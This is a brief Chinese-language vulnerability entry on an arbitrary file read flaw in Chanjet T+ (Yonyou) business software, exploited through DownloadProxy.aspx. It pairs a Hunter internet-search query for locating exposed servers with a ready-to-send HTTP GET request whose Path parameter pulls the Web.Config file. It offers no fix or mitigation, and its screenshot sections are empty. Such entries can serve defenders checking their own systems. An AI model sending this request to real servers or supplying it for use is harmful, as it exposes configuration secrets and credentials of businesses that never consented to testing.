Y2-6用友-畅捷通T+-任意文件读取

漏洞描述：

畅捷通T+专属云适用于需要一体化管理的企业，财务管理、业务管理、零售管理、生产管理、物流管理、移动仓管、营销管理、委外加工等人财货客一体化管理。该系统在DownloadProxy.aspx存在任意文件读取漏洞。

网站图片:

网络测绘:

Hunter 语法:

hunterapp.name=“畅捷通 T+”

漏洞复现:

payload：

GET /tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=./Web.Config HTTP/1.1
X-Ajaxpro-Method: GetStoreWarehouseByStore
User-Agent: Java/1.8.0_381
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

效果图: